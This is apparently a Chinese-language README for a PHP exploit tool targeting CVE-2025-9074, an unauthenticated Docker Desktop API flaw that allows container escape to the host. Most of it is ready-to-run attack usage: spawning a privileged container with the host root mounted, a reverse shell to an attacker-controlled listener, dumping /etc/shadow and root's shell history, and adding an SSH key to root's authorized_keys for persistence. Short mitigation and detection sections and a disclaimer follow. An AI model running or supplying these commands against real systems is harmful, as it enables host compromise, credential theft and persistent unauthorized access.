PHP PoC,针对 CVE-2025-9074 的漏洞利用
严重性:严重 | CVSS评分:9.8(估计) | 受影响版本:Docker Desktop < 4.44.3
一个针对CVE-2025-9074的概念验证利用程序,该漏洞是Docker Engine API中的未授权远程代码执行漏洞,允许特权容器逃逸并危及主机系统。
CVE-2025-9074 是 Docker Desktop 中的一个严重漏洞,它暴露了 Docker Engine API,没有适当的身份验证或网络隔离。这允许远程攻击者:
该漏洞影响:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
在 Docker 主机上执行单个命令:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
建立交互式反向 Shell:
# 终端1:启动监听器
nc -lvnp 4444
# 终端2:运行利用程序
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
在目标上执行单个命令:
# 简单命令
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# 从主机读取文件
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# 带清理
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
生成带回调的交互式 Shell:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# 枚举主机系统
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# 提取敏感文件
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# 添加 SSH 密钥
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# 枚举正在运行的容器和网络
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 上监听,无需认证/containers/create 创建特权容器:/mnt/hostfs:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs 路径┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
升级 Docker Desktop
# 更新到 4.44.3 或更高版本
网络隔离
启用 TLS 认证
# 使用 TLS 证书配置 Docker 守护进程
# 在 daemon.json 中:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
网络分段
/var/run/docker.sock)进行本地访问# 扫描暴露的 Docker API
nmap -p 2375,2376 -sV target_network
# 检查端口是否响应 Docker API
curl -s http://target:2375/version
此工具仅供授权安全测试和教育目的使用。
欢迎贡献!请随时提交问题或拉取请求。
本项目采用 MIT 许可证 - 详见 LICENSE 文件。
安全研究员 | 渗透测试员
最后更新:2025年5月 | 状态:活跃研究
| Option | Short | Required | Description |
|---|
--url | -u | ✅ 是 | Docker API URL(例如 http://1.2.3.4:2375) |
--mode | -m | ❌ 否 | 执行模式:cmd 或 reverse(默认为 cmd) |
--cmd | -c | ⚠️ 用于 cmd 模式 | 在目标上执行的命令 |
--lhost | -l | ⚠️ 用于 reverse 模式 | 用于回连的IP地址 |
--lport | -p | ❌ 否 | 监听端口(默认:4444) |
--os | — | ❌ 否 | 目标操作系统:linux、mac、windows(默认:linux) |
--cleanup | — | ❌ 否 | 执行后移除容器 |
--help | -h | ❌ 否 | 显示帮助信息 |